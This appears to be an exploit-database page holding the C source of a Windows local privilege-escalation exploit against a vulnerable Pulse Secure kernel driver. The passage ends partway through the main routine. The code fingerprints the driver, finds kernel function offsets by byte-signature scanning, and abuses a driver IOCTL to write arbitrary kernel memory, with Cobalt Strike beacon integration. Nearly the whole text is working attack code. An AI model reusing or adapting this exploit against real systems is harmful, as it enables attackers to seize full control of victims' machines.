4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / PulsePrivEsc.c C
/**
 * The MIT License (MIT)
 * =====================
 * 
 * Copyright (c) 2023 Northwave Cyber Security. All rights reserved.
 * 
 * Permission is hereby granted, free of charge, to any person
 * obtaining a copy of this software and associated documentation
 * files (the “Software”), to deal in the Software without
 * restriction, including without limitation the rights to use,
 * copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following
 * conditions:
 * 
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
 * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
 * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
 * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
 * OTHER DEALINGS IN THE SOFTWARE.
 */

/**
 * Standard Input Output.
 * 
 * Defines three variable types, several macros, and various functions for performing input and output.
 * https://www.tutorialspoint.com/c_standard_library/stdio_h.htm
 */
#include <stdio.h>

/**
 * Standard Library.
 * 
 * Defines four variable types, several macros, and various functions for performing general functions.
 * https://www.tutorialspoint.com/c_standard_library/stdlib_h.htm
 */
#include <stdlib.h>

/**
 * Integers.
 * 
 * Defines macros that specify limits of integer types corresponding to types defined in other standard headers.
 * https://pubs.opengroup.org/onlinepubs/009696899/basedefs/stdint.h.html
 */
#include <stdint.h>

/**
 * Booleans.
 * 
 * Defines boolean types.
 * https://pubs.opengroup.org/onlinepubs/007904975/basedefs/stdbool.h.html
 */
#include <stdbool.h>

/**
 * Windows API.
 * 
 * Contains declarations for all of the functions, macro's & data types in the Windows API.
 * Define 'WIN32_LEAN_AND_MEAN' to make sure windows.h compiles without warnings.
 * https://docs.microsoft.com/en-us/previous-versions//aa383749(v=vs.85)?redirectedfrom=MSDN
 */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

/**
 * Internal NT API's and data structures.
 * 
 * Helper library that contains NT API's and data structures for system services, security and identity.
 * https://docs.microsoft.com/en-us/windows/win32/api/winternl/
 */
#include <winternl.h>

/**
 * Process Status API (PSAPI).
 * 
 * Helper library that makes it easier for you to obtain information about processes and device drivers. 
 * https://docs.microsoft.com/en-us/windows/win32/api/psapi/
 */
#include <psapi.h>

/**
 * Windows Version Helpers
 *
 * Helper library that contains functions to check which operating system version is running.
 * https://learn.microsoft.com/en-us/windows/win32/api/versionhelpers/
 */
#include <versionhelpers.h>

/**
 * Application Installation and Servicing (MSI) Helpers
 * 
 * Contains declarations and definitions related to the Windows Installer technology.
 * https://learn.microsoft.com/en-us/windows/win32/api/msi/
 */
#include <msi.h>

/**
 * Link required libraries
 */
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Ntdll.lib")
#pragma comment(lib, "PsApi.lib")
#pragma comment(lib, "Msi.lib")

/**
 * Load custom header files.
 */
#include "headers/structs.h"
#include "headers/imports.h"
#include "headers/beacon.h"

/**
 * Predefined definitions
 */
#define DEBUG                                   0x1          // Verbose printing (if positive)
#define VULNERABLE_IOCTL                        0x80002018   // IOCTL that is vulnerable
#define STATUS_INFO_LENGTH_MISMATCH             0xC0000004   // Possible return status of API
#define SystemModuleInformation                 0x0B         // Type of system information to retrieve
#define SystemExtendedHandleInformation         0x40         // Type of system information to retrieve

/**
 * Define cross-compatible print methods
 */
#ifdef BOF
    #define PRINT(...) { \
        BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
    }
#else
    #define PRINT(...) { \
        fprintf(stdout, "[+] "); \
        fprintf(stdout, __VA_ARGS__); \
        fprintf(stdout, "\n"); \
    }
#endif

#ifdef BOF
    #define PRINT_ERROR(...) { \
        BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \
    }
#else
    #define PRINT_ERROR(...) { \
        fprintf(stdout, "[!] "); \
        fprintf(stdout, __VA_ARGS__); \
        fprintf(stdout, "\n"); \
    }
#endif

#ifdef BOF
    #define PRINT_DEBUG(...) { \
        if (DEBUG) { \
            BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
        } \
    }
#else
    #define PRINT_DEBUG(...) { \
        if (DEBUG) { \
            fprintf(stdout, "[i] "); \
            fprintf(stdout, __VA_ARGS__); \
            fprintf(stdout, "\n"); \
        } \
    }
#endif

/**
 * Check if the given haystack (string) starts with the given needle (string).
 * 
 * @param char* haystack The haystack that may contain a needle
 * @param char* needle The needle that may be present in the haystack.
 * @return bool Positive if the haystack indeed starts with the needle.
 */
bool startsWith(char* haystack, char* needle) {
    if(strncmp(haystack, needle, strlen(needle)) == 0) {
        return true;
    }

    return false;
}

/**
 * Get the virtual address base from the given image.
 * 
 * @return LPVOID A pointer to the image base in the system space.
 */
LPVOID getImageBase(LPCSTR imageName) {
    DWORD dwSize = 0;

    if (NtQuerySystemInformation(SystemModuleInformation, NULL, dwSize, &dwSize) != STATUS_INFO_LENGTH_MISMATCH) {
        PRINT_ERROR("Cannot get length of system module list array while trying to obtain an image base.");
        return NULL;
    }
  
    PRTL_PROCESS_MODULES pSystemModules = (PRTL_PROCESS_MODULES) GlobalAlloc(GMEM_ZEROINIT, dwSize);
    
    if (!pSystemModules) {
        PRINT_ERROR("Cannot allocate memory for system module list while trying to obtain an image base.");
        return NULL;
    }

    if (!NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, pSystemModules, dwSize, &dwSize))) {
        PRINT_ERROR("Cannot get system module list while trying to obtain an image base.");
        GlobalFree(pSystemModules);
        return NULL;
    }

    DWORD dwCount = pSystemModules->NumberOfModules;
    
    for (DWORD i = 0; i < dwCount; i++) {
        if (strstr((char*) pSystemModules->Modules[i].FullPathName, imageName)) {
            LPVOID pBase = (LPVOID) pSystemModules->Modules[i].ImageBase;
            GlobalFree(pSystemModules);
            return pBase;
        }
    }

    PRINT_ERROR("Cannot find %s in system module list while trying to obtain an image base.", imageName);
    GlobalFree(pSystemModules);
    return NULL;
}

/**
 * Check if and which one of the known to be vulnerable services/drivers is installed.
 * 
 * @param char* driverName Where the identified driver name is written to.
 * @return bool If the vulnerable service is installed.
 */ 
bool getVulnerableDriverInstalled(char* driverName) {
    HKEY hKeyDriver;
    HKEY hKeyServices;

    DWORD imagePathSize = 0;
    char imagePath[MAX_PATH];

    // Open registry key for listing all service names
    if (RegOpenKeyA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services", &hKeyServices) != ERROR_SUCCESS) {
        return false;
    }

    size_t index = 0;
    char keyName[MAX_PATH];

    // Enumerate all services
    for (index = 0; RegEnumKeyA(hKeyServices, index, keyName, sizeof(keyName)) == ERROR_SUCCESS; index++) {
        
        // We're only looking for services that start with our driver name
        if (!startsWith(keyName, "jnprTdi")) {
            continue;
        }

        // We should be able to open the registry key
        if (RegOpenKeyA(hKeyServices, keyName, &hKeyDriver) != ERROR_SUCCESS) {
            continue;
        }

        // We should be able to get its image path size
        if (RegGetValueA(hKeyDriver, NULL, "ImagePath", RRF_RT_ANY, NULL, NULL, &imagePathSize) != ERROR_SUCCESS) {
            continue;
        }

        // We should be able to read the full image path
        imagePathSize += 1; // include new line
        if (RegGetValueA(hKeyDriver, NULL, "ImagePath", RRF_RT_ANY, NULL, imagePath, &imagePathSize) != ERROR_SUCCESS) {
            continue;
        }

        // Retrieve the hash of the specific driver image (PE-file)
        PMSIFILEHASHINFO hash = calloc(1, sizeof(MSIFILEHASHINFO));
        hash->dwFileHashInfoSize = sizeof(MSIFILEHASHINFO);
        if (MsiGetFileHashA(imagePath + 4, 0, hash) != ERROR_SUCCESS) {
            continue;
        }

        // Check if the hash corresponds to the vulnerable driver hash
        if (hash->dwData[0] == 0x4764a17d && hash->dwData[1] == 0xc800d2a3 && hash->dwData[2] == 0x6805edc3 && hash->dwData[3] == 0x1e2ea628) {
            strncpy(driverName, keyName, MAX_PATH);
            return true;
        }
    }

    return false;
}

/**
 * Open a handle to the symbolic link of the driver to check if it's running.
 * 
 * @param char* driverSymbolicLink The path to the driver's symbolic link.
 * @return bool Positive if currently running, false otherwise.
 */
bool isVulnerableDriverRunning(char* driverSymbolicLink) {
    HANDLE hDevice = CreateFileA(driverSymbolicLink, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        return false;
    }

    CloseHandle(hDevice);
    return true;
}

/**
 * Retrieve the major and minor version of the current operating system.
 * 
 * @param WINDOWS_VERSION* windowsVersion The output Windows version variable.
 * @return bool Positive if succesfully got Windows version.
 */
bool getWindowsVersion(WINDOWS_VERSION* windowsVersion) {
    uint8_t* peb = (__readgsqword(0x60));

    windowsVersion->OSMajorVersion = *((uint32_t *)(peb + 0x0118)); // peb->OSMajorVersion;
    windowsVersion->OSMinorVersion = *((uint32_t *)(peb + 0x011C)); // peb->OSMinorVersion;
    windowsVersion->OSBuildNumber = *((uint32_t *)(peb + 0x0120)); // peb->OSBuildNumber;

    return true;
}

/**
 * Check if the current operating system is Windows 10.
 * 
 * @return bool Positive if Windows 10.
 */
bool isWindows10() {
    WINDOWS_VERSION windowsVersion;

    if (!getWindowsVersion(&windowsVersion)) {
        // Could not get version
        return false;
    }

    if (windowsVersion.OSMajorVersion != 10) {
        // Lower or higher than Windows 10/11
        return false;
    }

    if (windowsVersion.OSBuildNumber >= 22000) {
        // Windows 11
        return false;
    }
   
    return true;
}

/**
 * Check if the current operating system is Windows 11.
 * 
 * @return bool Positive if Windows 11.
 */
bool isWindows11() {
    WINDOWS_VERSION windowsVersion;

    if (!getWindowsVersion(&windowsVersion)) {
        // Could not get version
        return false;
    }

    if (windowsVersion.OSMajorVersion != 10) {
        // Lower or higher than Windows 10/11
        return false;
    }

    if (windowsVersion.OSBuildNumber < 22000) {
        // Windows 10
        return false;
    }
   
    return true;
}

/**
 * Check if the given haystack starts with the given byte/match sequence.
 * 
 * @param char* haystack A byte sequence to search in (e.g. `ntoskrnl.exe` memory).
 * @param char* needle A byte sequence (egg) to search for (e.g. `\x8B\x42\x00\x00\x00\xB7\xC9`)
 * @param char* mask Which bytes must match in the image (e.g. `xx???xx`).
 * @return bool Positive if it is a match, negative otherwise.
 */
bool byteSequenceStartsWithByteSequence(uint8_t* haystack, uint8_t* needle, uint8_t* mask) {
    size_t i;

    for (i = 0; i < strlen(mask); i++) {
        if(mask[i] == 'x' && haystack[i] != needle[i]) {
            return 0;
        }
    }

    return i == strlen(mask);
}

/**
 * Find offset of exported functions via `GetProcAddress`.
 * 
 * @param char* imageName The name of the image to load (e.g. `ntoskrnl.exe`).
 * @param char* exportName Which function name to get the offset for.
 * @return uint64_t The offset to the function if found. Zero otherwise.
 */
uint64_t findFunctionOffsetByExport(char* imageName, char* exportName) {
    HANDLE hImage = LoadLibraryExA(imageName, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (hImage == NULL) {
        return 0;
    }
    
    LPVOID hExport = (LPVOID) GetProcAddress(hImage, exportName);
    if (hExport == NULL) {
        return 0;
    }

    return (uint64_t) (((uintptr_t) hExport) - ((uintptr_t) hImage));
}

/**
 * Find offset of unexported functions via some sort of egg hunting (byte sequence search).
 * 
 * Note:
 * Let's say you have a byte sequence of `\x8B\x42 ? ? ? \xB7\xC9` in "ntoskrnl.exe" of which the first two and last two 
 * bytes are static, and the middle three are different depending on OS version. Then you can call this function as follows:
 * findFunctionOffsetInImageByByteSequence("ntoskrnl.exe", "\x8B\x42\x00\x00\x00\xB7\xC9", "xx???xx");
 * 
 * @param char* imageName The name of the image to load (e.g. `ntoskrnl.exe`).
 * @param char* needle A byte sequence (egg) to search for (e.g. `\x8B\x42\x00\x00\x00\xB7\xC9`)
 * @param char* mask Which bytes must match in the image (e.g. `xx???xx`).
 * @return uint64_t The offset to the function if found. Zero otherwise.
 */
uint64_t findFunctionOffsetInImageByByteSequence(char* imageName, char* needle, char* mask) {
    uint64_t result = 0;

    HMODULE hModule = LoadLibraryExA(imageName, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if(hModule == NULL) {
        PRINT_ERROR("LoadLibraryExA failed. LastError: 0x%.8x.", GetLastError());
        goto CLEANUP_AND_RETURN;
    }

    // Retrieve information about the loaded module
    MODULEINFO modinfo;
    bool gotModuleInformation = GetModuleInformation(GetCurrentProcess(), hModule, &modinfo, sizeof(modinfo));
    if (!gotModuleInformation) {
        PRINT_ERROR("GetModuleInformation failed. LastError: 0x%.8x.", GetLastError());
        goto CLEANUP_AND_RETURN;
    }

    // Number of bytes to read from memory
    size_t nNumberOfBytesToRead = (size_t) modinfo.SizeOfImage;

    // Allocate memory for bytes to read and a null termination
    uint8_t* bytes = calloc(nNumberOfBytesToRead, sizeof(uint8_t));

    // Define how many bytes have been read
    size_t* lpNumberOfBytesRead = 0;

    HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId());
    if(hProcess == NULL) {
        PRINT_ERROR("OpenProcess failed. LastError: 0x%.8x.", GetLastError());
        goto CLEANUP_AND_RETURN;
    }

    if(ReadProcessMemory(hProcess, modinfo.lpBaseOfDll, bytes, nNumberOfBytesToRead, lpNumberOfBytesRead) == NULL) {
        PRINT_ERROR("Failed to read process memory. LastError: 0x%.8x.", GetLastError());
        goto CLEANUP_AND_RETURN;
    }

    for (size_t i = 0; i < modinfo.SizeOfImage; i ++) {
        if (byteSequenceStartsWithByteSequence(bytes + i, needle, mask)) {
            result = (uint64_t) i;
            goto CLEANUP_AND_RETURN;
        }
    }

CLEANUP_AND_RETURN:
    if (hProcess != NULL) CloseHandle(hProcess);
    return result;
}

/**
 * Obtain an object pointer by the given handle.
 * 
 * @param HANDLE h The handle to find the object pointer for.
 * @return PVOID The object pointer for the given handle (or NULL on failure).
 */
PVOID GetObjectPointerByHandle(HANDLE h) {
    // Define the maximum size for the buffer that contains the handle information
    const ULONG bufferSize = 1024 * 1024 * 10; // 10 MB
    DWORD pid = GetCurrentProcessId();

    // Allocate memory for the handle information buffer
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufferSize);
    if (!pHandleInfo) {
        return STATUS_NO_MEMORY;
    }

    // Query the system handle information for all handles in the current process
    NTSTATUS status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, NULL);
    if (!NT_SUCCESS(status)) {
        #ifndef BOF // We cannot use anymore Win32 API calls in CobaltStrike: no slot for function (reduce number of Win32 APIs called)
            HeapFree(GetProcessHeap(), 0, pHandleInfo);
        #endif
        return status;
    }

    // Loop through the handles and find the one that matches the specified handle
    ULONG i;
    for (i = 0; i < pHandleInfo->NumberOfHandles; i++) {
        PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX pHandleEntry = &(pHandleInfo->Handles[i]);
        if (pid == pHandleEntry->UniqueProcessId && pHandleEntry->HandleValue == h) {
            return pHandleEntry->Object;
        }
    }

    return NULL;
}

/**
 * Write a BYTE that the struct holds, using the handle that the struct holds.
 * 
 * @param struct BYTE_VER wv Data to write.
 */
void write_byte(struct BYTE_VER *bv) {
    // Commented this write as it will be outputted threaded and will fuck up console output
    // PRINT("write_byte called with hdev = %X | target = %llX | word = %X.", bv->hdev, bv->target, bv->byte);

    size_t returned_bytes;
    uint64_t *input_buffer      = calloc(0x100, 1);
    uint64_t *initial_buffer    = calloc(0x100, 1);
    uint64_t *buff_30h          = calloc(0x100, 1);
    uint64_t *iocsq_rsi_plus_8h = calloc(0x100, 1);

    // /*
    //  *  Configuring the pointer to hold the byte we want to write
    //  *  in the LSB. -0x50 at the end to compensate for the +0x50
    //  *  that is done inside the driver code
    //  */
    uint8_t* buff_28htmp = ((uint8_t *)calloc(0x3000, 1));
    buff_28htmp = buff_28htmp + 0x1000;
    uint64_t minus = (uint8_t*) (((uint64_t) buff_28htmp) % 0x1000);
    buff_28htmp = buff_28htmp - minus;
    uint64_t *buff_28h = (uint64_t*) (buff_28htmp + 0x100 + bv->byte - 0x50);

    input_buffer[0]                             = initial_buffer;
    initial_buffer[0x28 / sizeof(uint64_t)]     = buff_28h;
    initial_buffer[0x30 / sizeof(uint64_t)]     = buff_30h;

    iocsq_rsi_plus_8h[0]                     = bv->target;
    iocsq_rsi_plus_8h[0x68 / sizeof(uint64_t)]  = 1;
    iocsq_rsi_plus_8h[0x18 / sizeof(uint64_t)]  = 1; // Required to pass a check in write_char_0
    iocsq_rsi_plus_8h[0x08 / sizeof(uint64_t)]  = 0x1000; // Required to pass a check in write_char_0

    buff_30h[(0x08 / sizeof(uint64_t))]         = iocsq_rsi_plus_8h;
    buff_28h[(0x50 / sizeof(uint64_t))]         = 1; // Locked spin lock object

    /*
     *  Setting Function pointers
     */ 
    buff_28h[(0x50 / sizeof(uint64_t)) + (0x20 / sizeof(uint64_t))] = bv->NTOSKRNL_BASE + bv->OFFSET_TEST_SPIN_LOCK;
    buff_28h[(0x50 / sizeof(uint64_t)) + (0x10 / sizeof(uint64_t))] = bv->NTOSKRNL_BASE + bv->OFFSET_WRITE_BYTE;
    buff_28h[(0x50 / sizeof(uint64_t)) + (0x28 / sizeof(uint64_t))] = bv->NTOSKRNL_BASE + bv->OFFSET_SPIN_LOCK;

    DeviceIoControl(bv->hdev, VULNERABLE_IOCTL, input_buffer, 0x100, NULL, 0, &returned_bytes , NULL);

    // PRINT_ERROR("This printf will never execute, unless we manually lift and fix the spinlock.");
}

/**
 * Write a WORD that the struct holds, using the handle that the struct holds.
 * 
 * Note: As of Windows 11 Pro 23H2 22631, the implementation of `write_char_1` changed. 
 * As a quick fix, the implementation of this `write_word` function has been replaced with
 * two `write_byte` calls.
 * 
 * @param struct WORD_VER wv Data to write.
 */
void write_word(struct WORD_VER *wv) {
    HANDLE h1 = CreateFileA(wv->DRIVER_DEVICE_SYMBOLIC_LINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    struct BYTE_VER *bv1 = calloc(1, sizeof(struct BYTE_VER));
    bv1->hdev    = h1;
    bv1->target  = wv->target + 1;
    bv1->byte    = (wv->word & 0xFF00) >> 8;
    bv1->DRIVER_DEVICE_SYMBOLIC_LINK    = wv->DRIVER_DEVICE_SYMBOLIC_LINK;
    bv1->NTOSKRNL_BASE                  = wv->NTOSKRNL_BASE;
    bv1->OFFSET_TEST_SPIN_LOCK          = wv->OFFSET_TEST_SPIN_LOCK;
    bv1->OFFSET_WRITE_BYTE              = wv->OFFSET_WRITE_BYTE;
    bv1->OFFSET_SPIN_LOCK               = wv->OFFSET_SPIN_LOCK;

    HANDLE t1 = CreateThread(NULL, 0, write_byte, bv1, 0, NULL);
    SetThreadPriority(t1, THREAD_PRIORITY_LOWEST);

    HANDLE h2 = CreateFileA(wv->DRIVER_DEVICE_SYMBOLIC_LINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    struct BYTE_VER *bv2 = calloc(1, sizeof(struct BYTE_VER));
    bv2->hdev    = h2;
    bv2->target  = wv->target;
    bv2->byte    = (wv->word & 0xFF);
    bv2->DRIVER_DEVICE_SYMBOLIC_LINK    = wv->DRIVER_DEVICE_SYMBOLIC_LINK;
    bv2->NTOSKRNL_BASE                  = wv->NTOSKRNL_BASE;
    bv2->OFFSET_TEST_SPIN_LOCK          = wv->OFFSET_TEST_SPIN_LOCK;
    bv2->OFFSET_WRITE_BYTE              = wv->OFFSET_WRITE_BYTE;
    bv2->OFFSET_SPIN_LOCK               = wv->OFFSET_SPIN_LOCK;

    HANDLE t2 = CreateThread(NULL, 0, write_byte, bv2, 0, NULL);
    SetThreadPriority(t2, THREAD_PRIORITY_LOWEST);
}

/**
 * Write the given value of size to the given address
 * 
 * @param char size (`q` for QWORD, `d` for DWORD, `w` for WORD and `b` for BYTE).
 * @param uint64_t address Address to write to.
 * @param uint64_t value The value to write.
 * @param char* DRIVER_DEVICE_SYMBOLIC_LINK Symbolic link of the driver.
 * @param LPVOID NTOSKRNL_BASE Base address of the kernel.
 * @param uint64_t OFFSET_TEST_SPIN_LOCK Offset of KeTestSpinLock.
 * @param uint64_t OFFSET_WRITE_BYTE Offset of write_char_0.
 * @param uint64_t OFFSET_SPIN_LOCK Offset of KxWaitForSpinLockAndAcquire.
 */
void write_mem(char size, uint64_t address, uint64_t value, char* DRIVER_DEVICE_SYMBOLIC_LINK, LPVOID NTOSKRNL_BASE, uint64_t OFFSET_TEST_SPIN_LOCK, uint64_t OFFSET_WRITE_BYTE, uint64_t OFFSET_SPIN_LOCK) {
    if (size == 'q') {
        struct WORD_VER *wv4 = calloc(1, sizeof(struct WORD_VER));
        wv4->target                         = address + 6;
        wv4->word                           = (value & 0xFFFF000000000000) >> 48;
        wv4->DRIVER_DEVICE_SYMBOLIC_LINK    = DRIVER_DEVICE_SYMBOLIC_LINK;
        wv4->NTOSKRNL_BASE                  = NTOSKRNL_BASE;
        wv4->OFFSET_TEST_SPIN_LOCK          = OFFSET_TEST_SPIN_LOCK;
        wv4->OFFSET_WRITE_BYTE              = OFFSET_WRITE_BYTE;
        wv4->OFFSET_SPIN_LOCK               = OFFSET_SPIN_LOCK;
        write_word(wv4);

        struct WORD_VER *wv3 = calloc(1, sizeof(struct WORD_VER));
        wv3->target                         = address + 4;
        wv3->word                           = (value & 0x0000FFFF00000000) >> 32;
        wv3->DRIVER_DEVICE_SYMBOLIC_LINK    = DRIVER_DEVICE_SYMBOLIC_LINK;
        wv3->NTOSKRNL_BASE                  = NTOSKRNL_BASE;
        wv3->OFFSET_TEST_SPIN_LOCK          = OFFSET_TEST_SPIN_LOCK;
        wv3->OFFSET_WRITE_BYTE              = OFFSET_WRITE_BYTE;
        wv3->OFFSET_SPIN_LOCK               = OFFSET_SPIN_LOCK;
        write_word(wv3);
        size = 'd';
    }

    if (size == 'd') {
        struct WORD_VER *wv2 = calloc(1, sizeof(struct WORD_VER));
        wv2->target                         = address + 2;
        wv2->word                           = (value & 0xFFFF0000) >> 16;
        wv2->DRIVER_DEVICE_SYMBOLIC_LINK    = DRIVER_DEVICE_SYMBOLIC_LINK;
        wv2->NTOSKRNL_BASE                  = NTOSKRNL_BASE;
        wv2->OFFSET_TEST_SPIN_LOCK          = OFFSET_TEST_SPIN_LOCK;
        wv2->OFFSET_WRITE_BYTE              = OFFSET_WRITE_BYTE;
        wv2->OFFSET_SPIN_LOCK               = OFFSET_SPIN_LOCK;
        write_word(wv2);
        size = 'w';
    }

    if (size == 'w') {
        struct WORD_VER *wv1 = calloc(1, sizeof(struct WORD_VER));
        wv1->target                         = address;
        wv1->word                           = (value & 0xFFFF);
        wv1->DRIVER_DEVICE_SYMBOLIC_LINK    = DRIVER_DEVICE_SYMBOLIC_LINK;
        wv1->NTOSKRNL_BASE                  = NTOSKRNL_BASE;
        wv1->OFFSET_TEST_SPIN_LOCK          = OFFSET_TEST_SPIN_LOCK;
        wv1->OFFSET_WRITE_BYTE              = OFFSET_WRITE_BYTE;
        wv1->OFFSET_SPIN_LOCK               = OFFSET_SPIN_LOCK;
        write_word(wv1);
    }

    if (size == 'b') {
        HANDLE h = CreateFileA(DRIVER_DEVICE_SYMBOLIC_LINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

        struct BYTE_VER *bv = calloc(1, sizeof(struct BYTE_VER));
        bv->hdev                           = h;
        bv->target                         = address;
        bv->byte                           = (value & 0xFF);
        bv->DRIVER_DEVICE_SYMBOLIC_LINK    = DRIVER_DEVICE_SYMBOLIC_LINK;
        bv->NTOSKRNL_BASE                  = NTOSKRNL_BASE;
        bv->OFFSET_TEST_SPIN_LOCK          = OFFSET_TEST_SPIN_LOCK;
        bv->OFFSET_WRITE_BYTE              = OFFSET_WRITE_BYTE;
        bv->OFFSET_SPIN_LOCK               = OFFSET_SPIN_LOCK;

        HANDLE t = CreateThread(NULL, 0, write_byte, bv, 0, NULL);
        SetThreadPriority(t, THREAD_PRIORITY_LOWEST);
    }
}

/**
 * Perform the kernel exploit & elavation.
 */
void boot() {
    /**
     * Dynamic definitions (retrieved on run as they vary between OS versions)
     */
    char* DRIVER_DEVICE_NAME                      = NULL;        // jnprTdi_[major]_[minor]
    char* DRIVER_DEVICE_SYMBOLIC_LINK             = NULL;        // \\.\jnprTdi_[major]_[minor]
    uint64_t OFFSET_SPIN_LOCK                     = 0;           // KxWaitForSpinLockAndAcquire
    uint64_t OFFSET_TEST_SPIN_LOCK                = 0;           // KeTestSpinLock
    uint64_t OFFSET_WRITE_BYTE                    = 0;           // write_char_0
    LPVOID NTOSKRNL_BASE                          = NULL;        // Kernel base address

    // Provide feedback to the user that the BOF is running.
    PRINT("Starting PulsePrivEsc...");
    HANDLE hToken;

    // Identifying if we're running Windows 10 or 11, as this exploit has only been tested on a few Windows 10 and 11 builds.
    if (!isWindows10() && !isWindows11()) {
        PRINT_ERROR("This exploit is only tested on Windows 10 and 11. If you know what you're doing, you may adjust the code to allow running the exploit on other Windows versions.");
        return;
    } else {
        PRINT("Running on Windows 10 or 11.");
    }

    // Identifying if vulnerable kernel driver is installed.
    DRIVER_DEVICE_NAME = calloc(MAX_PATH, sizeof(uint8_t));
    if (!getVulnerableDriverInstalled(DRIVER_DEVICE_NAME)) {
        PRINT_ERROR("Vulnerable kernel driver is not installed.");
        return;
    } else {
        PRINT("Found vulnerable driver: %s.", DRIVER_DEVICE_NAME);
    }

    DRIVER_DEVICE_SYMBOLIC_LINK = calloc(0x1000, sizeof(uint8_t));
    strncpy(DRIVER_DEVICE_SYMBOLIC_LINK, "\\\\.\\", 0x4);
    strncat(DRIVER_DEVICE_SYMBOLIC_LINK, DRIVER_DEVICE_NAME, 0x1000);

    // Identifying if driver is running. If not, the user must start it.
    // We test this simply (and not a 100% correctly) by opening a handle to its symbolic link
    // User must start the driver using `pulselauncher.exe`, which spawns a process. We need to improve that.
    if (!isVulnerableDriverRunning(DRIVER_DEVICE_SYMBOLIC_LINK)) {
        PRINT_ERROR("Vulnerable kernel driver is not running or TDI-failover is not configured.");
        PRINT_ERROR("Setup an virtual evaluation appliance of Pulse Secure with TDI-failover.");
        PRINT_ERROR("Connect the victim machine to that appliance using `pulselauncher.exe` to start the driver.");
        PRINT_ERROR("Read the `README.md` for more information.");
        return;
    } else {
        PRINT("Vulnerable kernel driver is running.");
    }

    // We must be able to map 0x80002018 as it's used in the exploit.
    PRINT("Mapping the page that references address 0x80002018.");
    uint64_t allocatedBaseAddress = VirtualAlloc(0x80002018, 4096 * 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (((uint32_t) allocatedBaseAddress) != 0x80000000)  {
        PRINT_ERROR("Unable to map the page backing address 0x80002018 (allocatedBaseAddress = 0x%lX). LastError: 0x%.8x.", allocatedBaseAddress, GetLastError());
        return;
    } else {
        PRINT("Mapped page backing address 0x80002018 (allocatedBaseAddress = 0x%lX).", allocatedBaseAddress);
    }

    // We must be able to obtain the base address of ntoskrnl.exe
    PRINT("Trying to obtain ntoskrnl.exe base.");
    NTOSKRNL_BASE = getImageBase("ntoskrnl.exe");
    if (!NTOSKRNL_BASE) {
        PRINT_ERROR("Could not obtain ntoskrnl.exe base.");
        goto CLEANUP;
    } else {
        PRINT("Obtained ntoskrnl.exe base: %llX.", NTOSKRNL_BASE);
    }

    // Find offsets of functions dynamically (exported)    
    OFFSET_TEST_SPIN_LOCK = findFunctionOffsetByExport("c:\\windows\\system32\\ntoskrnl.exe", "KeTestSpinLock");
    
    if (!OFFSET_TEST_SPIN_LOCK) {
        PRINT_ERROR("Unable to find `KeTestSpinLock` in `ntoskrnl.exe` via `GetProcAddress`.");
        goto CLEANUP;
    } else {
        PRINT("Obtained `KeTestSpinLock` address: %llX.", NTOSKRNL_BASE + OFFSET_TEST_SPIN_LOCK);
    }

    // Dirty hack to find offsets of functions dynamically (non-exported)        
    if (isWindows10()) {
        OFFSET_SPIN_LOCK = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x48\x89\x5C\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xEC\x20\x65\x48\x8B\x34\x25\x20\x00\x00\x00", "xxxxxxxxxxxxxxxxxxxxxxxx");
        OFFSET_WRITE_BYTE = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x40\x53\x48\x83\xEC\x20\x8B\x42\x18\x49\x8B\xD8\xA8\x40", "xxxxxxxxxxxxxx");
    } else if (isWindows11()) {
        OFFSET_SPIN_LOCK = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x48\x89\x5C\x24\x00\x57\x48\x83\xEC\x20\x48\x8B\xF9\x33\xDB\x90", "xxxx?xxxxxxxxxxx");
        OFFSET_WRITE_BYTE = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x40\x53\x48\x83\xEC\x20\x8B\x42\x18\x49\x8B\xD8\xA8\x40", "xxxxxxxxxxxxxx");
    }

    if (!OFFSET_SPIN_LOCK) {
